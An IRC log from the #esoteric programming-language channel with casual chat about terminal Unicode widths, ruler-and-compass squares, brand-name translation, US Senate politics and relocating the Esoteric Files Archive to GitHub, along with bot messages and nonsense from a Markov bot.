20:02:57 <rdococ> Many other languages had some variation of <past> and <future> in their language, so it's not that lame
20:03:10 <Herbstkind> What does "I will have welcome Herbstkind" mean?
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20:11:21 <hppavilion[1]> The music-geek equivalent of the Sad Trombone is the Sad Brass Section
20:11:55 <hppavilion[1]> Well, except when you're specifically a Rock Music Geek, in which case it's the Sad Seven-Nation Orchestra
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20:38:41 <HackEgo> [wiki] [[Special:Log/newusers]] create * Fourthdwarf * New user account
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21:03:02 <HackEgo> [wiki] [[Befunge]] https://esolangs.org/w/index.php?diff=51641&oldid=51357 * Happa * (+131) Added link to NemFunge93 interpreter
21:03:33 <HackEgo> [wiki] [[Befunge]] M https://esolangs.org/w/index.php?diff=51642&oldid=51641 * Happa * (+11) Fixed link
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21:17:22 <hppavilion[1]> Hm. Nonprinciple of communication: If t is a subtopic of T and t is an inappropriate topic in a given circumstance, T is an inappropriate topic in the same circumstance.
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21:46:11 <Herbstkind> hppavilion[1], if that is valid in the other direction too ( inap(T) => inap(t) ) then everything is an inappropriate topic, I presume
21:46:42 <Herbstkind> Since anything is connected somehow ^^ (That's my Axiom)
21:47:46 <Herbstkind> as in e. g. bestiality is a subtopic of animals which is a supertopic of plushies or something *shrug*
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22:12:05 <fizzie> There's this artwork near King's Cross, https://www.kingscross.co.uk/ifo
22:12:08 <fizzie> This evening on my commute there was a guy next to it with a megaphone, reading some sort of pseudo-poetry about a bird that's too scared of freedom.
22:12:52 <shachaf> What's the difference between poetry and pseudo-poetry?
22:13:45 <fizzie> I just mean I'm not sure if it counted as poetry (what's the definition?), but it was at least some sort of a spoken word thing.
22:13:58 <lambdabot> *** "poetry" wn "WordNet (r) 3.0 (2006)"
22:13:58 <lambdabot> n 1: literature in metrical form [syn: {poetry}, {poesy},
22:13:58 <lambdabot> 2: any communication resembling poetry in beauty or the
22:14:20 <fizzie> Well, it wasn't sense 1, might've been sense 2.
22:14:29 <shachaf> 2 is a recursive definition.
22:14:32 <fizzie> Or if it was metrical, it was too subtle for me.
22:14:33 <shachaf> Presumably 1 is the base case.
22:15:16 <fizzie> Here's the part that I heard. Approximately, at least.
22:15:18 <fizzie> "Someone left the cage open, but it doesn't matter. The bird won't fly out of the cage. It's too scared... of freedom."
22:15:54 <shachaf> any communication resembling (any communication resembling (literature in metrical form) in beauty or the evocation of feeling) in beauty or the evocation of feeling
22:18:20 <shachaf> fizzie: The bird represents commuters.
22:18:32 <shachaf> Maybe you should fly out of the cage?
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22:24:20 <hppavilion[1]> I just evaluated a function and got what appears to be ∞̃
22:25:24 <hppavilion[1]> (For those for whom combining diacritics or Unicode characters don't render, that's the infinity symbol (∞) with a tilde (~), as in the Spanish bonus letter ‹ñ›)
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22:56:15 <HackEgo> action//An action should always have an equal and opposite reaction, whenever thausible.
22:57:13 <shachaf> oerjan: I thought "thausible" meant "thanks, plausible"?
22:57:29 <HackEgo> 1/2:welcome.is//Halló og verið velkomin á hinn alþjóðlegann miðpunkt fyrir esoteríska forritunarmálshönnun og dreifingu. Meiri upplýsingar er hægt að nálgast á wikinu <http://esolangs.org/>. (Fyrir annarskonar esoterík prufið #esoteric á EFnet eða DALnet.) \ myndzi//myndzi used to keep us all on our feet. \ persistence/
22:57:32 <HackEgo> 2/2:/Taneb invented persistence long ago, and it's been around ever since. \ northumberland//Northumberland may be today a sparsely populated country... but SOON! THE NORTHUMBRAINS SHALL RISE!
22:58:25 <HackEgo> A thausible action is one committed toward a thausiblee.
22:58:31 <HackEgo> A thausiblee is the recipient of a thausible action.
23:00:26 <boily> int-ello. German version?
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23:01:30 <shachaf> Higgins Hemb Insurance Group
23:01:34 <int-e> His Hero Is Gone was an influential American crust punk band from Memphis, Tennessee?!
23:01:58 <boily> Heute Habe Ich Gelernt
23:02:28 <boily> shachaf: " is for abbreviations, right?
23:02:36 <int-e> I had a theoretical chance of getting this, I suppose.
23:02:46 <int-e> In practice, not really.
23:02:58 <shachaf> https://en.wikipedia.org/wiki/Gershayim
23:03:23 <shachaf> If you want to be pedantic it's ״ rather than ".
23:03:26 <int-e> boily: w.z.b.w., like cqfd, is in actual use.
23:03:59 <shachaf> heute die welt, morgen das sonnensystem
23:04:02 <int-e> (interestingly I have not seen it without the dots)
23:04:29 <int-e> shachaf: that's a lot to eat.
23:05:07 <shachaf> ewige blumenkraft und ewige schlangenkraft
23:05:43 <int-e> hist... hackego is slow today
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23:06:15 <HackEgo> pointfree:Pointfree programming sounds better than pointless programming.
23:06:15 <HackEgo> pointfree:Pointfree programming sounds better than pointless programming.
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23:59:04 <pikhq> *facepalm* Well, no wonder I get a few random Unicode bugs in my terminal.
23:59:18 <pikhq> screen doesn't use wcwidth, but rather its own function for character widths.
23:59:25 <pikhq> It disagrees with libc wcwidth.
23:59:58 <pikhq> http://sprunge.us/MQeB Nice little hack to tell if libc and your terminal agree on character widths.
00:00:56 <pikhq> mosh *seems* to just defer to libc on that subject.
00:01:25 <shachaf> I'm using tmux and mosh and in the end things never work right.
00:01:35 <pikhq> I don't know if tmux does its own mess.
00:01:49 <pikhq> The above should help debug things.
00:02:04 <shachaf> I'm already pretty sure wcwidth is broken.
00:02:10 <quintopia> boily: do you have any fertility rites planned for the worship of the green goddess Eostre?
00:02:42 <pikhq> Problem is, wcwidth is what some popular programs and libraries like "curses" use for their notion of how many columns a given character takes.
00:03:01 <shachaf> Are you supposed to run thins 2>file?
00:03:36 <pikhq> I did mention it was a tiny little hack. I was frankly just tinkering a tiny bit and wanted to talk about what I saw from it.
00:03:56 <pikhq> I'd also recommend against Ctrl-C'ing it, cause I've not made it robust enough to reset the terminal afterwards.
00:04:36 <shachaf> Would you looj at that, 171 broken code points.
00:05:12 <pikhq> tmux here appears to agree with glibc.
00:05:36 <shachaf> Two are libc 1 tty 0, the rest are libc 0 tty 1
00:05:46 <shachaf> hppavilion[1]: Can you quit it with those jokes?
00:05:54 <shachaf> Just put them on a Twitter account and I won't follow it.
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00:06:31 <pikhq> So there's a few libc thinks are combining characters, and some the tty thinks are combining characters.
00:06:56 <pikhq> As I understand it, Unicode *defines* this, too.
00:07:11 <Jafet> gtk has a is_valid_utf8 function, which forbids U+0000
00:08:28 <Jafet> because “all strings are nul-terminated”
00:08:48 <pikhq> Might be worth investigating to see which codepoints terminals even agree on.
00:15:13 <pikhq> Perhaps write something-or-other whereby programs would be able to test those codepoints in particular, and if they don't work, output U+FFFD instead.
00:15:20 <pikhq> (maybe as a patch to ncurses?)
00:16:55 <Jafet> terminal rendering is already unportable anyway, because of fullwidth characters
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00:20:14 <shachaf> pikhq: I'm running this program in ssh instead of mosh-tmux, and it's very slow.
00:20:39 <shachaf> I started it 10 minutes ago and it's only 10% done.
00:21:01 <pikhq> It will be limited by the speed of the connection with its terminal.
00:21:10 <Jafet> actually it's even worse, there are “ambiguous-width” characters
00:21:31 <shachaf> But actually it'll be limited by my patience.
00:21:32 <pikhq> Note that it's sending escapes to the terminal requesting the cursor position and waiting for a response... On each and every codepoint.
00:22:01 <Jafet> and gnome-terminal, for instance, lets the user decide how wide they should be
00:22:08 <shachaf> There are many more "not okay" this way, even when I ^Ced it.
00:22:33 <pikhq> I might bother doing some research to figure out which codepoints are actually likely to vary and get it to test only those.
00:22:36 <Jafet> but I'm sure there are also fullwidth characters that are displayed as narrow in some terminals
00:23:15 <pikhq> That sorta bullcrap is *kinda* a problem given that most terminal programs have specific ideas about the terminal state...
00:23:23 <pikhq> And if they disagree, you have a freaking problem.
00:23:50 <Jafet> possibly the only good solution is to wmove() frequently
00:24:06 <Jafet> or to use gtk, if your strings don't contain U+0000
00:27:05 <boily> quintopia: if by fertility rite you mean consuming liberal amounts of eggs, yes ^^
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00:32:28 <boily> Eggs Blackstone are the bee's knees, the spider's shoulders, and the butterfly's thighs.
00:36:31 <quintopia> i know more about the political structure of ancient egypt than i do about eggs blackstone
00:36:54 <boily> http://howtofeedaloon.com/wp-content/uploads/2015/03/eggs-blackstone-1050x700.jpg
00:36:54 <quintopia> (i know the names of like three pharaohs and the science of mummification)
00:37:11 <fungot> boily: something fun ( in fact, scheme48 init files bundled in slib. this would compromise my other criteria.
00:37:28 <boily> Eggs Blackstone are just like Benedict, but with bacon and grilled tomatoes.
00:43:49 <quintopia> i'm not sure what you mean by "but with bacon" though
00:44:14 <quintopia> eggs benedict has bacon (that which we refer to as Canadian) by default...
00:49:30 <boily> it's more like ham, eh?
00:51:17 <quintopia> are you saying you substitute belly bacon?
00:57:38 <quintopia> as long as the hollandaise is dialed in
00:58:36 <boily> hollandaise is an incontournable.
00:58:42 <boily> tomato is wonderful!
01:01:28 <boily> let's ask our resident vegexpert about tomatoes...
01:01:38 <boily> fungot: are tomatoes good?
01:01:38 <fungot> boily: why would you want to call
01:01:54 <boily> fungot: because it has to be known.
01:01:54 <fungot> boily: so you can show that automatically in the message
01:07:55 <quintopia> fungot: automatically message me your opinion on tomatoes
01:07:56 <fungot> quintopia: manipulating xml as sexps is easier and mroe powerful than php
01:08:12 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
01:08:25 <fungot> Selected style: speeches (misc. speeches from Project Gutenberg)
01:08:41 <quintopia> fungot: do you have anything to say about tomatoes now?
01:08:42 <fungot> quintopia: " not this way, and really it trimmed him as it would a tree. he had been some time a member who enters that service has to pursue the general happiness. if, therefore, with him, rather a weak constitution, and, adopting very nearly the sentiments of his people. he is writing four fnord volumes about me, i was going to be on the ground of a public direction by the power of trampling on their subjects, though history
01:09:11 <quintopia> exactly fungot. i agree. tomatoes are the worst.
01:09:11 <fungot> quintopia: but, as soon as he had observed with respect to nobility. why? because a representative system, which varied only in local and circumstantial fnord much less, that they may earn, their own bread. now it is dismal enough to be fnord
01:09:47 <quintopia> true, bread is much more representative
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01:10:11 <moonythedwarf> IT finally happened. someone made a brainfuck interpreter in The Powder Toy (see save 2122891 )
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01:11:06 <moonythedwarf> http://powdertoy.co.uk/Browse/View.html?ID=2122891
01:11:18 <moonythedwarf> its another computer in The Powder Toy, but this time brainfuck
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01:11:49 <boily> mhelloonythellodwarf.
01:12:05 <boily> tomatoes are the best. bell peppers are also good.
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01:12:19 <moonythedwarf> Why has noone made a hello command for hackego yet? so i can automate my helloilys
01:13:58 <quintopia> there is no agreed-upon porthello for every situation
01:14:32 <quintopia> like, what's the best porthello for zarutian, for instance?
01:15:49 <quintopia> boily surely is allowed to make a suggestion :D
01:16:10 <fizzie> There is a command, it's just very rudimentary.
01:16:32 <fizzie> That may have been derived from `thanks.
01:16:37 <boily> I usuall Zarutellon Zarutian.
01:17:26 <quintopia> boily: i trust. write down a set of trustworthy substitution rules to produce optimal porthellos please
01:19:39 <boily> I latch upon the first available h, e, l, o. I check if it sounds right, along with morphological features. if it doesn't, I follow with the next available anchor.
01:20:00 <boily> if it still doesn't work, I may try “hi” instead of “hello”.
01:20:28 <boily> if nothing works, chop off the first letter and “hi”. so far, only kmc reached this fallback.
01:20:36 <quintopia> "morphological features" is so nebulous. can you explain that in EBNF?
01:20:59 <boily> for example, \oren\ has he\\oren\ because backslashes.
01:21:32 <boily> b_jonas has b_jellonas and wob_jellonas, because jell-o.
01:22:06 <boily> and rdococ has rdochelloc because it sounds better.
01:22:40 <boily> (could've been rdellococ, but it isn't as good IMPO)
01:24:13 <boily> there may also be customary decorations and declensions, re hellørjan, helloochaf and Tanelle.
01:24:26 <boily> and you're QUINTHELLOPIAAAAAAAAAAA.
01:24:31 <quintopia> this is a task only manageable by high quality AI
01:25:15 <quintopia> boily: i don't know where we'd find a sane person. but we might be able to write one from not-scratch
01:26:36 * boily fell into the trap headfirst
01:26:52 <boily> fungot: tell me I'm sane.
01:26:52 <fungot> boily: but i will struggle with my bursting heart, to portray that heroic spirit, which has sometimes seemed to foreign states to invite and provoke their aggressions, peace has been unbroken, their work has been excellent, and honourable man, with a single solitary exception, every one of which has much to fear from his loss than now they have, in certain indian transactions, fnord the worst of the caesars, gradually effacing
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02:48:37 <tsw_ett> I've been playing Thumper!
02:48:47 <tsw_ett> My left hand is pretty sore from all that thumping.
02:49:06 <tsw_ett> I've probably been thumping too hard, is all. I need to thump more gently.
02:49:22 <tsw_ett> I decided to try thumping with my other hand, and it went surprisingly well.
02:49:38 <tsw_ett> Maybe I'm actually a right-handed thumper and I've been thumping with the wrong hand this whole time.
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03:25:58 <shachaf> Is there a programming language that uses something like a call queue instead of a call stack?
03:33:31 <shachaf> I was thinking about depth-first and breadth-first search. Depth-first search is more natural to implement, but can you make an environment where breadth-first search is more natural?
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09:59:08 <fizzie> shachaf: There's a language literally called "Call Queue".
09:59:12 <fizzie> https://esolangs.org/wiki/Call_Queue
10:00:00 <fizzie> "Call Queue was inspired by the similarities between a queue-based algorithm implementing breadth-first search in a tree, and a stack-based algorithm emulating recursion."
10:02:03 <shachaf> Doesn't look very fleshed out.
10:02:34 <fizzie> Yes, it's a little unfinished.
10:03:25 <shachaf> I'm not sure whether the traditional function call syntax it uses is misleading or what it should be like.
10:04:04 <shachaf> Maybe you can make something with coroutines.
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11:28:31 <Jafet> you should generalise this to best-first search, then
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11:36:27 <Jafet> how about a message-passing computational model based on restaurants?
11:36:52 <Jafet> everyone sends messages at different volumes; if the total volume is too loud, the messages become garbled
11:57:23 <fungot> b_jonas: the china trade. no voice, i guess, then, as it has been in literature. compare the members for the great remains of classical antiquity, which will be applied as long as the moral constitution of men's minds shall continue to infest the platform on these conditions--that there is nobody in the world that put its whole trust in god.
12:20:29 <boily> fungot: infesting platforms is generally frowned upon.
12:20:29 <fungot> boily: on monday, the twenty-seventh of february, 1832.) for my pillow, and a re-charter was granted by congress. that re-charter was laid before general jackson. it was inevitable that you would be an exception to it, but i remember one detail. all my life.
12:20:57 <boily> fungot: at least you got your dates right.
12:20:57 <fungot> boily: paraphrase of a passage in the review of jenyn's inquiry into the causes of wealthy zemindars, after residing at the courts of europe, and in great manufacturing towns, marriages are less prolific than in the substance, but regulating the mode and the principles on which they pronounce with so much profusion and so little discrimination, that they may be assured, that by keeping a vigilant eye on the fnord gentleman for
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17:49:00 <\oren\> there's no dot in Dr Pepper
17:54:15 <\oren\> meaning that it was the same price in the days of ocean liners as when the
17:54:19 <\oren\> Did you know, that Coca-Cola was 5 cents a bottle from 1886 to 1959?
17:54:31 <\oren\> ok wtf stupid copypaste
18:00:44 <int-e> https://mail.haskell.org/pipermail/haskell-cafe/2017-April/126716.html ... "more transparent", really...
18:01:37 <\oren\> Apparently the US senate are going nuclear! WE'RE DOOMED
18:02:07 <\oren\> they are deploying the "nuclear option" to defeat a democratic filibuster
18:02:25 <\oren\> http://www.foxnews.com/politics/2017/04/06/senate-republicans-tee-up-nuclear-showdown-on-gorsuch.html
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19:45:16 <pikhq> Which means that, essentially, the norms of the body are utterly dead.
19:46:23 <int-e> unprecendented, hear, hear.
19:46:53 <pikhq> So, next time we've got a Democratic Pres and Senate, I'm hoping the GOP gets faced with how dumb that was.
19:47:11 <pikhq> Note for starters there's no cap on the number of sitting justices.
19:47:41 <shachaf> Didn't a Democratic senate already do a similar thing a few years ago?
19:47:53 <\oren\> “This is an extreme nominee from the far right who doesn’t believe in the fundamental vision of ‘We the People.“’
19:48:03 <pikhq> By a "few" you mean "nearly a century ago".
19:48:16 <\oren\> Is Grosuch really so bad?
19:48:45 <int-e> I'm just trying to imagine the outcry if the Democrats had changed rules like this... or perhaps they did on less visible matters? I don't know.
19:48:50 <shachaf> Not for a Supreme Court nomination, though.
19:49:02 <pikhq> shachaf: In 2013, they eliminated the nuclear option on other nominees.
19:49:06 <pikhq> Erm, the filibuster.
19:49:22 <pikhq> After the GOP doubled the number of nominee filibusters that have ever happened.
19:49:53 <pikhq> There have been about 160 nominees filibusters, of those, 80 were Obama's.
19:50:53 <pikhq> And we're talking some very uncontroversial nominees, too.
19:51:11 <\oren\> but is gorsuch really so bad, or are they just filibustering him because AAAA TRUMP AAAA
19:51:13 <pikhq> But the GOP was determined to make his Presidency the least successful one ever.
19:51:28 <pikhq> \oren\: The main justification is actually that Garland never got heard. Ever.
19:51:39 <pikhq> \oren\: But there are some really concerning things in his record as well...
19:51:51 <\oren\> so it has little to do with gorsuch himself?
19:52:50 <pikhq> Well, it's made *worse* by Gorsuch being a fairly right-wing nominee.
19:53:18 <pikhq> But, yes, the main thing turning it from "vote against" to "filibuster like your life depended on it" is Garland.
19:54:12 <pikhq> Opinion-wise, he's very nearly a Scalia clone.
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19:57:01 <\oren\> "On November 21, 2013, the Senate used the so-called "nuclear option", voting 52–48—with all Republicans and three Democrats voting against—to eliminate the use of the filibuster on executive branch nominees and judicial nominees, except to the Supreme Court."
19:57:33 <\oren\> So that's why the dems couldn't filibuster any of trump's other people
19:58:24 <pikhq> Because after seeing the GOP filibuster nominee after nominee, they finally got rid of it, and the GOP for their part decided "fuck your opinions, we vote as a block".
19:58:36 <\oren\> so, when is the second american civil war scheduled?
19:58:55 <pikhq> About 1 hour after Trump's impeachment by a Democratic Congress.
20:03:24 <fizzie> I think I heard them doing something slightly out of the ordinary re Lords and Brexit here as well.
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20:16:46 <hppavilion[1]> I have just ruler-and-compass constructed a square. I feel like it shouldn't be this complicated
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20:25:23 * hppavilion[1] . o O ( I feel like 270 degree angles should be square
20:31:01 <\oren\> wait, wy would it be hard to construct a square
20:31:09 <moonythedwarf> Technically they are the inverse of a 90 degree angle, but that suggusts we dont need 360 degrees to describe things, we only need 180..... *thinking*
20:31:57 <\oren\> first construct two perpendicular lines, then draw a circle around the intersection, then connect the places where the lines intersect the circle
20:35:33 <moonythedwarf> matching keyword /* linked */ equiv { } /* Voids its contents, 'ignored' by the parser */
20:43:06 <moonythedwarf> ruled keyword // equiv { } linked rule { arg: *\n } // Also voids its contents, but has a regex match to boot.
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21:02:21 <hppavilion[1]> IMO, when translating a fictional or real brand name (or in general, any newly-invented word not derived from pure throwing-syllables-on-paper), the word should be translated by finding its source, translating those, then recombining
21:03:26 <hppavilion[1]> So Soylent Green is Sojalinse Grün- since "Soylent" is 'soya' (as in 'soy')+'lentil', I translated 'soy' and 'lentil' into German, mushed them together, and translated 'green' normally
21:03:50 <hppavilion[1]> (Of course, if it's a real company which has an official international variant, use that instead)
21:04:04 <hppavilion[1]> (Following this rule, Apple, inc. becomes Apfel, Inc.
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21:11:51 <pikhq> IMO, this depends on whether the brand name has much relevance to the story, or whether it's an opaque string.
21:12:12 <pikhq> Like, would the name itself confer meaning to the original audience.
21:12:36 <shachaf> What if the name involves an intricate and untranslateable pun?
21:13:17 <pikhq> But I will say e.g. Weyland-Yutani shouldn't have anything done to it, aside from maybe swapping the Romanization scheme used for the latter half.
21:14:21 <pikhq> (of course, there the meaning of the name is all to do with the nationality of the two surnames, so any sort of translation would change the meaning while leaving it alone, would not.)
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21:22:57 <pikhq> That's also just the exact same name in Japanese, so hey. :)
21:26:03 <\oren\> There's also the Shinra Electric Power Company
21:28:07 <\oren\> where shinra wasn't translated into "god-cloth" or anything
21:28:24 <pikhq> That's a bit hard to translate.
21:29:07 <pikhq> I guess you could do "Theopani"?
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21:50:01 <\oren\> "The Daily Beast reported Thursday that Bannon had called Kushner a "cuck" behind his back."
21:50:14 <\oren\> WWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
21:57:47 <hppavilion[1]> There are mnemonics for remembering the planets- "My Very Excellent Mother Just Gave Us Nachos" (archaic: "My Very Excellent Mother Just Gave Us Nasty Pizza") or "Mary's Virgin Explanation Made Joseph Suspect Upstairs Neighbor) (xkcd)
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21:58:29 <hppavilion[1]> But I want one for remembering the dwarf AND normal planets
21:59:06 <Zarutian> add "Piano Charokee" to the xkcd one?
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22:28:07 <hppavilion[1]> I wrote a bad one for fun: My Vampire Emu Might Consume Judgmentally-Stirred Udon Noodles with Pre-Crumbled Hot Macaroons, Eventually
22:29:09 <hppavilion[1]> (I'm particularly proud of using "Pre-Crumbled" for "Pluto and Ceres", since it binds them together; the only issue is that the 'C' should be disposable rather than the 'P')
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22:47:13 <\oren\> that's pluto and charon
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23:21:14 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
23:21:23 <\oren\> because apparently, -D options in gcc invokation doesn't overpower #define
23:21:27 <\oren\> I have to add an #ifndef around the #define in question
23:21:42 <\oren\> well then, what I've been doing for the last few days is apparently useless
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23:30:51 <hppavilion[1]> [and using it to determine which homeopathic remedy to pick?]
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23:52:08 <hppavilion[1]> My mother just encountered the word "Probabilistic" for the first time, apparently
23:52:51 <hppavilion[1]> She's reading a medical report (involved in some legal case) in silence and just said "Pro-buh-bull-ist-ic? Is that even a word?"
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01:25:43 <HackEgo> [wiki] [[Special:Log/newusers]] create * Crorem * New user account
01:30:30 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51643&oldid=51620 * Crorem * (+123)
01:30:42 <HackEgo> [wiki] [[User talk:SMA]] N https://esolangs.org/w/index.php?oldid=51644 * Crorem * (+211) Created page with "Hi, I noticed that the link to the interpreter for [[BiTrax]] is dead. Is there any possibility that you could re-host it? Thanks! --~~~~"
01:33:21 <fizzie> That's a little optimistic.
01:35:50 <oerjan> well, it's not _much_ more than a year since User:SMA edited last.
01:36:10 * oerjan read May as March somehow.
01:38:40 <oerjan> that was an annoying hosting site. and robots.txt violated, so no chance of wayback.
01:39:28 <fizzie> "This file is no longer available because of a claim by system."
01:42:04 <fizzie> There was a rather odd search hit where the title of the page was "A source code is a bitmap, where each pixel defines a statement:" but then the contents included "Bitrix24 in the App Store" and a Britax baby stroller.
01:42:15 <fizzie> It looks like a website generated from an odd mishmash of things.
01:42:50 <fizzie> Things of somewhat similar lexicographic appearance.
01:45:20 <oerjan> hppavilion[1]: i can construct a square in 12 steps, the three first being marking two arbitrary points and the line between them; are you doing it more complicated than that?
01:45:51 <hppavilion[1]> oerjan: I... don't remember. I've deleted the construction because I didn't need it
01:46:10 <hppavilion[1]> It involved finding a bunch of tangent lines on a circle
01:46:27 <oerjan> well you don't need that to construct a square.
01:46:48 <hppavilion[1]> oerjan: Yeah, but that was the only way I could think of
01:48:27 <hppavilion[1]> A:point, B:point, l:line A B, f:circle A B, g:circle B A, C:intersect l g, and so on or something
01:50:15 <oerjan> the first 5 steps are the same as mine.
01:50:40 <fizzie> 2 (points) + 1 (line) + 4 (for a perpendicular from first point) + 4 (for a perpendicular from the other point) + 1 (the one missing line) = 12 is what I got.
01:50:42 <oerjan> oh i guess you count finding intersections, i didn't do that.
01:51:05 <fizzie> Is this about that one game or just in general?
01:51:38 <oerjan> i don't know what hppavilion[1] is doing.
01:52:33 <fizzie> There was that game about constructing things.
01:52:51 <fizzie> https://www.euclidea.xyz/
01:52:58 <fizzie> I think it was probably that.
01:53:30 <oerjan> not euclidthegame.com?
01:54:01 <fizzie> Yeah, in retrospect that looks more familiar.
01:54:01 <oerjan> which i just found again while trying to seach for an online geometry visualizer (and failing)
01:54:34 <fizzie> I guess euclidea.xyz could be someone's "let's cash in on the fad" thing.
01:54:46 <fizzie> Looks a little more polished maybe.
01:56:20 <fizzie> Like, you get pithy quotes at the end of a task and so on.
01:56:59 <oerjan> hppavilion[1]: ok after what you said, D:intersect l f, h:circle C B, i:circle B C, E,F:intersect h i, m:line E F and that's your first perpendicular.
01:58:23 <hppavilion[1]> oerjan: Sounds about right, but I've yet to formally prove the correctness of the ad-hoc language :P
01:58:33 <hppavilion[1]> (skimming it suggests you're doing the same thing I did)
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02:13:52 <oerjan> hppavilion[1]: your translation talk in the logs made me suddenly realize that the translation of Einstein into a classical greek borrowing is Monolith
02:15:06 <hppavilion[1]> (Or Mein Gotten? Or maybe Mein Götter since polytheism?)
02:15:30 <oerjan> i don't think -en is a suffix used there
02:18:06 <oerjan> wiktionary lists no such word form, even for the archaic 16th-18th century forms.
02:18:50 <oerjan> it would be Meine Götter in the plural.
02:27:02 <oerjan> . o O ( newton <- new-town -> nea-polis -> naples )
02:29:10 <oerjan> darwin seems to have disputed etymology
02:31:25 <oerjan> although one of them could give Philophilos
02:31:42 <oerjan> (philos meaning both dear and friend in greek)
02:34:15 <oerjan> the other meaning could give Drys
02:35:40 <oerjan> which if so looks like it might be cognate
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02:37:11 <HackEgo> crorem: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
02:37:35 <oerjan> Crorem: i'm afraid User:SMA hasn't been seen in nearly a year
02:39:08 <oerjan> i don't remember if they ever came here on irc
02:40:51 <Crorem> Would you know anywhere where the BiTrax interpreter might be archived?
02:41:14 <oerjan> i checked wayback, but of course the site has a robots.txt :(
02:41:37 <oerjan> and fizzie googled some, i think
02:42:23 <oerjan> but he didn't seem to find anything relevant
02:43:48 <Crorem> Well, thanks for trying
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02:54:00 <hppavilion[1]> oerjan: Oh, whoops, I meant to just say say "Mein Götter", but my syntax messed up when I changed plans
02:54:44 <hppavilion[1]> oerjan: But what about the unfortunate town of Dildo?
02:55:08 <shachaf> get your mind out of the götter
03:01:58 <oerjan> <hppavilion[1]> There are mnemonics for remembering the planets- "My Very Excellent Mother Just Gave Us Nachos" (archaic: "My Very Excellent Mother Just Gave Us Nasty Pizza") or "Mary's Virgin Explanation Made Joseph Suspect Upstairs Neighbor) (xkcd) <-- i think you mean "Served" or something hth
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03:02:40 <oerjan> NOOOOOOOOOOOOOOOOOOOO HE ESCAPED
03:13:46 <\oren\> the USA has hit a Syrian Air base in homs with 50 cruise missiles
03:13:50 <\oren\> esitmated to destroy at least a quarter of the Syrian Air Force
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04:23:56 <HackEgo> i,i is short for "I have wasps in my underwear, and I want to distract myself by saying".
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05:12:06 <\oren\> AAAAAA Idiots on CNN keep saying it's an "air strike"
05:12:08 <\oren\> those aren't the same unless you're Japanese
05:12:13 <\oren\> It's not it's a CRUISE MISSILE strike
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05:51:32 <Jafet> they're clearly ground strikes, anyway
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06:57:50 <shachaf> newsham: There's such a thing as a stovetop pizza oven?!
07:02:24 <newsham> i havent heard of a stovetop pizza oven
07:04:24 <shachaf> But you're a pizza expert.
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07:35:20 <ais523> voxelperfect.net appears to have been taken over by domain parkers
07:35:28 <ais523> does anyone have a backup of the Esoteric Files Archive?
07:36:30 <hppavilion[1]> Is there an equivalent of the Vesica Piscis for ellipses?
07:38:33 <ais523> actually this may be worth putting in the topic, a lot of esolang content is hosted there
07:38:57 -!- ais523 has set topic: voxelperfect.net is parked; anyone have a backup of the Esoteric Files Archive? | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
07:49:28 <ais523> it crosses my mind that graue may still be contactable and probably still has a copy, but it may be best to see if an actual regular has a copy, first
07:50:29 <shachaf> ais523: https://github.com/graue/esofiles hth
07:50:29 <int-e> hmm the (linode) server that went with it seems to be gone as well.
07:50:52 <ais523> we should probably update links, in that case
07:51:07 <ais523> also, get a few clones of the repo going just in case Github gets parked too ;-)
07:51:33 -!- ais523 has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
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07:59:12 -!- hppavilion[1] has set topic: voxelperfect.net is parked; use github.com/graue/esofiles as a mirror | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
07:59:26 -!- hppavilion[1] has set topic: voxelperfect.net is parked; use github.com/graue/esofiles | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
08:08:19 <Jafet> the topic is mostly write-only
08:08:36 <HackEgo> [wiki] [[Talk:BackFlip]] https://esolangs.org/w/index.php?diff=51645&oldid=49072 * Ais523 * (+472) /* How to make infinite memory */ another, belated, idea
08:08:49 <Jafet> or write-mostly, or is it mostly right?
08:09:04 <shachaf> It seems to be left-mostly.
08:10:39 <Jafet> well, only the rightmost parts are mostly left
08:11:37 <shachaf> The right part alone is mostly left alone.
08:22:11 <ais523> perhaps we should try randomly reordering it and seeing if that changes the sort of edits we normally get?
08:22:34 <shachaf> Well, the logs and esolangs.org links are important.
08:22:47 <shachaf> Most of the rest is usually superfluous.
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08:32:43 <ais523> is wisdom.pdf meant to be a permanent feature? or not?
08:33:13 <shachaf> I don't like it. I don't think my wisdom should be recorded for eternity.
08:33:20 <shachaf> But others like i so who knows.
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08:44:10 <ais523> I don't really care for it being there permanently, although advertising it when it was made made sense
08:46:27 <shachaf> `le/rn esoteric files archive/The Esoteric Files Archive is now available at https://github.com/graue/esofiles
08:46:31 <HackEgo> Learned 'esoteric files archive/the esoteric files archive is now available at https:': github.com/graue/esofiles
08:47:14 -!- shachaf has set topic: http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | For bots, use #esoteric-blah.
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10:20:13 -!- int-e has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
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11:39:43 <boily> yes, but what is wisdom?
